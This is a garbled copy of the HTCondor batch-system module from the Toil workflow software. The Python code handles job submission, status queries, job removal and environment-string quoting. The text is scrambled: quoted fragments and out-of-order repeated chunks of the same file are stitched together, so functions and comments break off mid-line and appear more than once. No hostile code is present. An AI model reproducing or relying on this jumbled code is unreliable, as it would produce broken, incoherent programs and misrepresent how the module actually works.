Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs method so that", "necessary: while len(self.waitingJobs) > 0: activity = True jobID, cpu,", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "be used self.batchJobIDs[jobID] = (batchJobID, None) # Add to queue", "Make sure a ClassAd was returned try: ad = ads.next()", "stores a tuple of (batch system # ID, Task), but", "allocation requests and ceil the CPU request. def createJobs(self, newJob):", "memory, disk, jobID, jobName, command) logger.debug(\"Submitting %r\", submitObj) # Submit", "status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job {0} completed with exit code", "used self.batchJobIDs[jobID] = (batchJobID, None) # Add to queue of", "in double quotes # Each variable should be separated by", "may not use this file except in compliance with the", "job to be killed when its exit status is checked", "be encapsulated in double quotes # Each variable should be", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "requirements, projection = projection) # Only consider the Toil jobs", "command.encode('utf-8') # Execute the entire command as /bin/sh -c \"command\"", "responding try: schedd.xquery(limit = 0) except RuntimeError: logger.error(\"Could not connect", "TODO: Use a htcondor.Collector().query() to determine reasonable values. max_cpu =", "the htcondor.Submit object submitObj = self.prepareSubmission(cpu, memory, disk, jobID, jobName,", "''' env_items = [] if self.boss.environment: for key, value in", "handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs method so", "(batchJobID, task) in self.batchJobIDs.values()] job_runtimes = {} for ad in", "checked schedd = self.connectSchedd() job_spec = '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec,", "= True jobID, cpu, memory, disk, jobName, command = self.waitingJobs.pop(0)", "'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif status[ad['JobStatus']] ==", "the job command: %s with job id: %s \", jobNode.command,", "schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif status[ad['JobStatus']] == 'Completed': logger.debug(\"HTCondor job", "code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the job from", "that we can use htcondor.Submit objects # and so that", "'(JobStatus == 2) && (IsToilJob)' projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus']", "are part of this workflow batchJobIDs = [batchJobID for (batchJobID,", "['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd() ads = schedd.xquery(requirements =", "batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) # Remove the job from the Schedd", "running or idle or doing something else logger.debug(\"HTCondor job {0}", "jobID = self.getNextJobID() self.currentJobs.add(jobID) # Add the jobNode.disk and jobNode.jobName", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "ID to batch job ID # TODO: Note that this", "Set the job to be killed when its exit status", "ads returned using constraint: {0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0}", "= 0) except RuntimeError: logger.error(\"Could not connect to HTCondor Schedd\")", "to HTCondor Schedd {0} using Collector at {1}\".format( schedd_name, condor_host))", "htcondor.Submit objects # and so that we can get disk", "# # Licensed under the Apache License, Version 2.0 (the", "== 2) && (IsToilJob)' projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd", "htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error( \"Could not connect to HTCondor", "was killed by Toil\".format(batchJobID)) # Remove the job from the", "name {0}\".format(schedd_name)) raise else: schedd = htcondor.Schedd(schedd_ad) # Otherwise assume", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "htcondor.Collector().query() to determine reasonable values. max_cpu = 4 max_mem =", "of queued (\"running\") jobs self.runningJobs.add(jobID) # Add to allocated resources", "return '\"' + ' '.join(env_items) + '\"' # Override the", "'Idle', 2: 'Running', 3: 'Removed', 4: 'Completed', 5: 'Held', 6:", "HTCondor ads returned using constraint: {0}\".format(requirements)) raise # Make sure", "# Only consider the Toil jobs that are part of", "file except in compliance with the License. You may #", "4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', }", "them to find the Schedd if condor_host and schedd_name: logger.debug(", "in KB # Workaround for HTCondor Python bindings Unicode conversion", "always clear what the max cpus and max memory available", "{1}\".format( schedd_name, condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except", "= schedd.xquery(requirements = requirements, projection = projection) # Make sure", "in single quotes # Quote marks (single or double) that", "object submitObj = self.prepareSubmission(cpu, memory, disk, jobID, jobName, command) logger.debug(\"Submitting", "be killed when its exit status is checked schedd =", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "variable should be in the form of <key>='<value>' env_string =", "self.prepareSubmission(cpu, memory, disk, jobID, jobName, command) logger.debug(\"Submitting %r\", submitObj) #", "\"command\" # TODO: Transfer the jobStore directory if using a", "job {0}\".format(batchJobID)) # Set the job to be killed when", "for mapping Toil job ID to batch job ID #", "self.boss.environment: for key, value in self.boss.environment.items(): # Each variable should", "given the disk request def issueBatchJob(self, jobNode): # Avoid submitting", "examples of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = []", "double quotes # Each variable should be separated by a", "Return the Submit object return htcondor.Submit(submit_parameters) def submitJob(self, submitObj): #", "start of the runtime as a Unix timestamp runtime =", "quotes # Each variable should be separated by a single", "encapsulated in double quotes # Each variable should be separated", "htcondor.Submit object submitObj = self.prepareSubmission(cpu, memory, disk, jobID, jobName, command)", "2) && (IsToilJob)' projection = ['ClusterId', 'ToilJobID', 'EnteredCurrentStatus'] schedd =", "memory, disk, jobName, command = self.waitingJobs.pop(0) # Prepare the htcondor.Submit", "'Completed', 5: 'Held', 6: 'Transferring Output', 7: 'Suspended' } requirements", "of Wisconsin-Madison, WI. # # Licensed under the Apache License,", "system # ID, Task), but the second value is None", "htcondor import classad logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When", "method so HTCondor can be given the disk request def", "the job from the Schedd and return its exit code", "schedd_name: logger.debug( \"Connecting to HTCondor Schedd {0} using Collector at", "'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk':", "by Toil\".format(batchJobID)) # Remove the job from the Schedd and", "# Queue the job using a Schedd transaction schedd =", "createJobs method so that we can use htcondor.Submit objects #", "should be duplicated env_string += \"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"')", "Submit job and get batch system ID (i.e. the ClusterId)", "jobs that are running requirements = '(JobStatus == 2) &&", "projection = projection) # Make sure a ClassAd was returned", "\"Could not find HTCondor Schedd with name {0}\".format(schedd_name)) raise else:", "be given the disk request def issueBatchJob(self, jobNode): # Avoid", "'{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName':", "schedd = htcondor.Schedd() # Ping the Schedd to make sure", "job id: %s \", jobNode.command, str(jobID)) return jobID @classmethod def", "logger = logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor, the", "jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) # Set", "sys import os import logging import time import math from", "path. submit_parameters = { 'executable': '/bin/sh', 'transfer_executable': 'False', 'arguments': '''\"-c", "an HTCondor slot might be, use some reasonable constants for", "Collector at {0}\".format(condor_host)) raise except ValueError: logger.error( \"Could not find", "/bin/sh -c \"command\" # TODO: Transfer the jobStore directory if", "a Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') #", "connect to HTCondor Collector at {0}\".format(condor_host)) raise except ValueError: logger.error(", "= '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID):", "Submit object can use. For examples of valid strings, see:", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "= [batchJobID for (batchJobID, task) in self.batchJobIDs.values()] job_runtimes = {}", "import logging import time import math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem", "= {} for ad in ads: batchJobID = int(ad['ClusterId']) jobID", "use some reasonable constants for now. # TODO: Use a", "(the \"License\"); you # may not use this file except", "try: ads.next() except StopIteration: pass else: logger.warning( \"Multiple HTCondor ads", "self.getNextJobID() self.currentJobs.add(jobID) # Add the jobNode.disk and jobNode.jobName to the", "# Job still running or idle or doing something else", "submitObj): # Queue the job using a Schedd transaction schedd", "= int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if not (batchJobID in batchJobIDs):", "HTCondor Schedd\") raise return schedd def getEnvString(self): '''Build an environment", "Unicode conversion bug command = command.encode('utf-8') # Execute the entire", "or implied. # See the License for the specific language", "governing permissions and # limitations under the License. from __future__", "a Unix timestamp runtime = time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] =", "'\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } # Return the Submit object return", "under the Apache License, Version 2.0 (the \"License\"); you #", "= logging.getLogger(__name__) class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor, the Schedd", "schedd_ad = htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error( \"Could not", "Team, Computer Sciences Department, # University of Wisconsin-Madison, WI. #", "Transfer the jobStore directory if using a local file store", "'Removed', 4: 'Completed', 5: 'Held', 6: 'Transferring Output', 7: 'Suspended'", "{0}\".format(requirements)) if ad['ToilJobKilled']: logger.debug(\"HTCondor job {0} was killed by Toil\".format(batchJobID))", "Schedd and return 1 job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove,", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "createJobs(self, newJob): activity = False if newJob is not None:", "+ '\"' # Override the issueBatchJob method so HTCondor can", "the License. You may # obtain a copy of the", "os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_ variables are set,", "Add to allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity def", "License, Version 2.0 (the \"License\"); you # may not use", "CPU request. def createJobs(self, newJob): activity = False if newJob", "# integer CPUs memory = float(memory)/1024 # memory in KB", "ads.next() except StopIteration: pass else: logger.warning( \"Multiple HTCondor ads returned", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "should be in the form of <key>='<value>' env_string = key", "now. # TODO: Use a htcondor.Collector().query() to determine reasonable values.", "def issueBatchJob(self, jobNode): # Avoid submitting internal jobs to the", "For examples of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items =", "job_runtimes[jobID] = runtime return job_runtimes def killJob(self, jobID): batchJobID =", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "# University of Wisconsin-Madison, WI. # # Licensed under the", "True jobID, cpu, memory, disk, jobName, command = self.waitingJobs.pop(0) #", "= float(memory)/1024 # memory in KB disk = float(disk)/1024 #", "# Add the jobNode.disk and jobNode.jobName to the job tuple", "Computer Sciences Department, # University of Wisconsin-Madison, WI. # #", "job and get batch system ID (i.e. the ClusterId) batchJobID", "Avoid submitting internal jobs to the batch queue, handle locally", "the jobNode.disk and jobNode.jobName to the job tuple self.newJobsQueue.put((jobID, jobNode.cores,", "doesn't # seem to be used self.batchJobIDs[jobID] = (batchJobID, None)", "{0}\".format(batchJobID)) status = { 1: 'Idle', 2: 'Running', 3: 'Removed',", "at {0}\".format(condor_host)) raise except ValueError: logger.error( \"Could not find HTCondor", "= self.connectSchedd() ads = schedd.xquery(requirements = requirements, projection = projection)", "or doing something else logger.debug(\"HTCondor job {0} has not completed", "= htcondor.Collector(condor_host).locate( htcondor.DaemonTypes.Schedd, schedd_name) except IOError: logger.error( \"Could not connect", "jobNode.disk and jobNode.jobName to the job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory,", "Store dict for mapping Toil job ID to batch job", "from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor import classad logger =", "as a Unix timestamp runtime = time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID]", "StopIteration: logger.error( \"No HTCondor ads returned using constraint: {0}\".format(requirements)) raise", "def createJobs(self, newJob): activity = False if newJob is not", "job {0}\".format(batchJobID)) status = { 1: 'Idle', 2: 'Running', 3:", "(C) 2018, HTCondor Team, Computer Sciences Department, # University of", "a ClassAd was returned try: ad = ads.next() except StopIteration:", "# Add to queue of queued (\"running\") jobs self.runningJobs.add(jobID) #", "schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else: # Job still running or", "# Make sure a ClassAd was returned try: ad =", "there and responding try: schedd.xquery(limit = 0) except RuntimeError: logger.error(\"Could", "submitJob(self, submitObj): # Queue the job using a Schedd transaction", "# Avoid submitting internal jobs to the batch queue, handle", "the jobStore directory if using a local file store with", "{0}\".format(condor_host)) raise except ValueError: logger.error( \"Could not find HTCondor Schedd", "available # in an HTCondor slot might be, use some", "slot might be, use some reasonable constants for now. #", "with name {0}\".format(schedd_name)) raise else: schedd = htcondor.Schedd(schedd_ad) # Otherwise", "this workflow batchJobIDs = [batchJobID for (batchJobID, task) in self.batchJobIDs.values()]", "raise return schedd def getEnvString(self): '''Build an environment string that", "permissions and # limitations under the License. from __future__ import", "# Add to allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu)) return activity", "# HTCondor stores the start of the runtime as a", "Ping the Schedd to make sure it's there and responding", "is None by default and doesn't # seem to be", "if condor_host and schedd_name: logger.debug( \"Connecting to HTCondor Schedd {0}", "see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = [] if self.boss.environment: for key,", "value.replace(\"'\", \"''\").replace('\"', '\"\"') + \"'\" env_items.append(env_string) # The entire string", "and responding try: schedd.xquery(limit = 0) except RuntimeError: logger.error(\"Could not", "logging import time import math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import", "# # Unless required by applicable law or agreed to", "jobID @classmethod def obtainSystemConstants(cls): # Since it's not always clear", "KB disk = float(disk)/1024 # disk in KB # Workaround", "(Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return None \"\"\" Implementation-specific helper methods", "return localID else: self.checkResourceRequest(jobNode.memory, jobNode.cores, jobNode.disk) jobID = self.getNextJobID() self.currentJobs.add(jobID)", "a local file store with a relative path. submit_parameters =", "Department, # University of Wisconsin-Madison, WI. # # Licensed under", "try: schedd.xquery(limit = 0) except RuntimeError: logger.error(\"Could not connect to", "jobs self.runningJobs.add(jobID) # Add to allocated resources self.allocatedCpus[jobID] = int(math.ceil(cpu))", "be duplicated env_string += \"'\" + value.replace(\"'\", \"''\").replace('\"', '\"\"') +", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "if not (batchJobID in batchJobIDs): continue # HTCondor stores the", "'HoldReasonSubCode'] schedd = self.connectSchedd() ads = schedd.xquery(requirements = requirements, projection", "# disk in KB # Workaround for HTCondor Python bindings", "{0} completed with exit code {1}\".format( batchJobID, ad['ExitCode'])) # Remove", "killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID)) #", "using Collector at {1}\".format( schedd_name, condor_host)) try: schedd_ad = htcondor.Collector(condor_host).locate(", "internal jobs to the batch queue, handle locally localID =", "command as /bin/sh -c \"command\" # TODO: Transfer the jobStore", "the ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID)) #", "'''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk),", "schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job", "assume the Schedd is on the local machine else: logger.debug(\"Connecting", "so HTCondor can be given the disk request def issueBatchJob(self,", "max memory available # in an HTCondor slot might be,", "was returned try: ad = ads.next() except StopIteration: logger.error( \"No", "= submitObj.queue(txn) # Return the ClusterId return batchJobID def getRunningJobIDs(self):", "# obtain a copy of the License at # #", "'ToilJobID', 'EnteredCurrentStatus'] schedd = self.connectSchedd() ads = schedd.xquery(requirements = requirements,", "'(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self, batchJobID): logger.debug(\"Getting", "and return 1 job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec)", "<filename>src/toil/batchSystems/htcondor.py # Copyright (C) 2018, HTCondor Team, Computer Sciences Department,", "implied. # See the License for the specific language governing", "cpu, memory, disk, jobName, command = self.waitingJobs.pop(0) # Prepare the", "can be given the disk request def issueBatchJob(self, jobNode): #", "KB # Workaround for HTCondor Python bindings Unicode conversion bug", "'leave_in_queue': '(JobStatus == 4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName),", "= runtime return job_runtimes def killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0]", "to the job tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command))", "[batchJobID for (batchJobID, task) in self.batchJobIDs.values()] job_runtimes = {} for", "single space return '\"' + ' '.join(env_items) + '\"' #", "the job using a Schedd transaction schedd = self.connectSchedd() with", "float(disk)/1024 # disk in KB # Workaround for HTCondor Python", "else: logger.warning( \"Multiple HTCondor ads returned using constraint: {0}\".format(requirements)) if", "as txn: batchJobID = submitObj.queue(txn) # Return the ClusterId return", "all Toil jobs that are running requirements = '(JobStatus ==", "None by default and doesn't # seem to be used", "using a local file store with a relative path. submit_parameters", "raise else: schedd = htcondor.Schedd(schedd_ad) # Otherwise assume the Schedd", "for ad in ads: batchJobID = int(ad['ClusterId']) jobID = int(ad['ToilJobID'])", "encapsulated in single quotes # Quote marks (single or double)", "jobID = int(ad['ToilJobID']) if not (batchJobID in batchJobIDs): continue #", "batchJobID = int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if not (batchJobID in", "by applicable law or agreed to in writing, software #", "the local machine else: logger.debug(\"Connecting to HTCondor Schedd on local", "key + \"=\" # The entire value should be encapsulated", "= 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 elif status[ad['JobStatus']]", "from the Schedd and return its exit code job_spec =", "be, use some reasonable constants for now. # TODO: Use", "Queue the job using a Schedd transaction schedd = self.connectSchedd()", "return a Schedd object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD')", "else: schedd = htcondor.Schedd(schedd_ad) # Otherwise assume the Schedd is", "to HTCondor Schedd\") raise return schedd def getEnvString(self): '''Build an", "the entire command as /bin/sh -c \"command\" # TODO: Transfer", "= 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']]", "connectSchedd(self): '''Connect to HTCondor Schedd and return a Schedd object'''", "time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return job_runtimes def killJob(self,", "the Schedd if condor_host and schedd_name: logger.debug( \"Connecting to HTCondor", "'False', } # Return the Submit object return htcondor.Submit(submit_parameters) def", "bug command = command.encode('utf-8') # Execute the entire command as", "not find HTCondor Schedd with name {0}\".format(schedd_name)) raise else: schedd", "the Schedd and return 1 job_spec = 'ClusterId == {0}'.format(batchJobID)", "so that we can use htcondor.Submit objects # and so", "second value is None by default and doesn't # seem", "runtime = time.time() - ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return job_runtimes", "getJobExitCode(self, batchJobID): logger.debug(\"Getting exit code for HTCondor job {0}\".format(batchJobID)) status", "the License. from __future__ import absolute_import from builtins import str", "may # obtain a copy of the License at #", "find the Schedd if condor_host and schedd_name: logger.debug( \"Connecting to", "job %s\", str(batchJobID)) # Store dict for mapping Toil job", "projection) # Only consider the Toil jobs that are part", "use htcondor.Submit objects # and so that we can get", "you # may not use this file except in compliance", "- ad['EnteredCurrentStatus'] job_runtimes[jobID] = runtime return job_runtimes def killJob(self, jobID):", "disk, jobID, jobName, command) logger.debug(\"Submitting %r\", submitObj) # Submit job", "local file store with a relative path. submit_parameters = {", "double) that are part of the value should be duplicated", "tuple self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job", "Each variable should be in the form of <key>='<value>' env_string", "= int(math.ceil(cpu)) return activity def prepareSubmission(self, cpu, memory, disk, jobID,", "schedd def getEnvString(self): '''Build an environment string that a HTCondor", "HTCondor stores the start of the runtime as a Unix", "for key, value in self.boss.environment.items(): # Each variable should be", "of (batch system # ID, Task), but the second value", "can use htcondor.Submit objects # and so that we can", "HTCondor slot might be, use some reasonable constants for now.", "0: activity = True jobID, cpu, memory, disk, jobName, command", "getEnvString(self): '''Build an environment string that a HTCondor Submit object", "HTCondor Python bindings Unicode conversion bug command = command.encode('utf-8') #", "%s with job id: %s \", jobNode.command, str(jobID)) return jobID", "'{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue':", "[] if self.boss.environment: for key, value in self.boss.environment.items(): # Each", "def killJob(self, jobID): batchJobID = self.batchJobIDs[jobID][0] logger.debug(\"Killing HTCondor job {0}\".format(batchJobID))", "job {0} has not completed (Status: {1})\".format( batchJobID, status[ad['JobStatus']])) return", "value should be duplicated env_string += \"'\" + value.replace(\"'\", \"''\").replace('\"',", "status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job {0} was held: '{1} (sub", "self.currentJobs.add(jobID) # Add the jobNode.disk and jobNode.jobName to the job", "to be killed when its exit status is checked schedd", "return int(ad['ExitCode']) elif status[ad['JobStatus']] == 'Held': logger.error(\"HTCondor job {0} was", "requests and ceil the CPU request. def createJobs(self, newJob): activity", "ClusterId return batchJobID def getRunningJobIDs(self): # Get all Toil jobs", "object''' condor_host = os.getenv('TOIL_HTCONDOR_COLLECTOR') schedd_name = os.getenv('TOIL_HTCONDOR_SCHEDD') # If TOIL_HTCONDOR_", "on local machine\") schedd = htcondor.Schedd() # Ping the Schedd", "killed when its exit status is checked schedd = self.connectSchedd()", "returned try: ads.next() except StopIteration: pass else: logger.warning( \"Multiple HTCondor", "can use. For examples of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment '''", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "'ToilJobKilled', 'ExitCode', 'HoldReason', 'HoldReasonSubCode'] schedd = self.connectSchedd() ads = schedd.xquery(requirements", "not connect to HTCondor Collector at {0}\".format(condor_host)) raise except ValueError:", "currently stores a tuple of (batch system # ID, Task),", "Unless required by applicable law or agreed to in writing,", "return schedd def getEnvString(self): '''Build an environment string that a", "a HTCondor Submit object can use. For examples of valid", "self.newJobsQueue.put((jobID, jobNode.cores, jobNode.memory, jobNode.disk, jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job command:", "'+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } # Return the", "== 'Held': logger.error(\"HTCondor job {0} was held: '{1} (sub code", "Schedd if condor_host and schedd_name: logger.debug( \"Connecting to HTCondor Schedd", "that we can get disk allocation requests and ceil the", "job_spec = '(ClusterId == {0})'.format(batchJobID) schedd.edit(job_spec, 'ToilJobKilled', 'True') def getJobExitCode(self,", "{0} using Collector at {1}\".format( schedd_name, condor_host)) try: schedd_ad =", "projection = projection) # Only consider the Toil jobs that", "# Otherwise assume the Schedd is on the local machine", "Schedd handles scheduling class Worker(AbstractGridEngineBatchSystem.Worker): # Override the createJobs method", "0) except RuntimeError: logger.error(\"Could not connect to HTCondor Schedd\") raise", "a htcondor.Collector().query() to determine reasonable values. max_cpu = 4 max_mem", "the specific language governing permissions and # limitations under the", "self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus ==", "= htcondor.Schedd() # Ping the Schedd to make sure it's", "env_items = [] if self.boss.environment: for key, value in self.boss.environment.items():", "ClusterId) batchJobID = self.submitJob(submitObj) logger.debug(\"Submitted job %s\", str(batchJobID)) # Store", "= False if newJob is not None: self.waitingJobs.append(newJob) # Queue", "{} for ad in ads: batchJobID = int(ad['ClusterId']) jobID =", "valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = [] if self.boss.environment:", "logger.error(\"Could not connect to HTCondor Schedd\") raise return schedd def", "\", jobNode.command, str(jobID)) return jobID @classmethod def obtainSystemConstants(cls): # Since", "applicable law or agreed to in writing, software # distributed", "# and so that we can get disk allocation requests", "%s\", str(batchJobID)) # Store dict for mapping Toil job ID", "exit code {1}\".format( batchJobID, ad['ExitCode'])) # Remove the job from", "the Schedd is on the local machine else: logger.debug(\"Connecting to", "seem to be used self.batchJobIDs[jobID] = (batchJobID, None) # Add", "== {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return 1 else: # Job still", "Quote marks (single or double) that are part of the", "class HTCondorBatchSystem(AbstractGridEngineBatchSystem): # When using HTCondor, the Schedd handles scheduling", "import time import math from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem import htcondor", "= self.prepareSubmission(cpu, memory, disk, jobID, jobName, command) logger.debug(\"Submitting %r\", submitObj)", "on the local machine else: logger.debug(\"Connecting to HTCondor Schedd on", "runtime as a Unix timestamp runtime = time.time() - ad['EnteredCurrentStatus']", "= { 1: 'Idle', 2: 'Running', 3: 'Removed', 4: 'Completed',", "http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = [] if self.boss.environment: for key, value", "code job_spec = 'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode'])", "value in self.boss.environment.items(): # Each variable should be in the", "connect to HTCondor Schedd\") raise return schedd def getEnvString(self): '''Build", "in writing, software # distributed under the License is distributed", "ads: batchJobID = int(ad['ClusterId']) jobID = int(ad['ToilJobID']) if not (batchJobID", "the max cpus and max memory available # in an", "its exit status is checked schedd = self.connectSchedd() job_spec =", "> 0: activity = True jobID, cpu, memory, disk, jobName,", "'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)', '+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID),", "Submit object return htcondor.Submit(submit_parameters) def submitJob(self, submitObj): # Queue the", "'+IsToilJob': 'True', '+ToilJobID': '{0}'.format(jobID), '+ToilJobName': '\"{0}\"'.format(jobName), '+ToilJobKilled': 'False', } #", "determine reasonable values. max_cpu = 4 max_mem = 4e9 return", "logger.error( \"Could not find HTCondor Schedd with name {0}\".format(schedd_name)) raise", "was held: '{1} (sub code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode'])) #", "with the License. You may # obtain a copy of", "logger.error( \"Could not connect to HTCondor Collector at {0}\".format(condor_host)) raise", "# The entire value should be encapsulated in single quotes", "# in an HTCondor slot might be, use some reasonable", "# seem to be used self.batchJobIDs[jobID] = (batchJobID, None) #", "string should be encapsulated in double quotes # Each variable", "compliance with the License. You may # obtain a copy", "batchJobID): logger.debug(\"Getting exit code for HTCondor job {0}\".format(batchJobID)) status =", "'{0}'.format(cpu), 'request_memory': '{0:.3f}KB'.format(memory), 'request_disk': '{0:.3f}KB'.format(disk), 'leave_in_queue': '(JobStatus == 4)', '+IsToilJob':", "ads = schedd.xquery(requirements = requirements, projection = projection) # Make", "disk, jobName, command = self.waitingJobs.pop(0) # Prepare the htcondor.Submit object", "If TOIL_HTCONDOR_ variables are set, use them to find the", "jobNode.jobName, jobNode.command)) logger.debug(\"Issued the job command: %s with job id:", "else: logger.debug(\"Connecting to HTCondor Schedd on local machine\") schedd =", "getRunningJobIDs(self): # Get all Toil jobs that are running requirements", "{0} was held: '{1} (sub code {2})'\".format( batchJobID, ad['HoldReason'], ad['HoldReasonSubCode']))", "'transfer_executable': 'False', 'arguments': '''\"-c '{0}'\"'''.format(command), 'environment': self.getEnvString(), 'request_cpus': '{0}'.format(cpu), 'request_memory':", "'ClusterId == {0}'.format(batchJobID) schedd.act(htcondor.JobAction.Remove, job_spec) return int(ad['ExitCode']) elif status[ad['JobStatus']] ==", "jobID, jobName, command): # Convert resource requests cpu = int(math.ceil(cpu))", "the job from the Schedd and return 1 job_spec =", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "of valid strings, see: http://research.cs.wisc.edu/htcondor/manual/current/condor_submit.html#man-condor-submit-environment ''' env_items = [] if", "def obtainSystemConstants(cls): # Since it's not always clear what the", "ID, Task), but the second value is None by default", "doing something else logger.debug(\"HTCondor job {0} has not completed (Status:", "raise except ValueError: logger.error( \"Could not find HTCondor Schedd with", "the start of the runtime as a Unix timestamp runtime", "the job to be killed when its exit status is", "batchJobID = submitObj.queue(txn) # Return the ClusterId return batchJobID 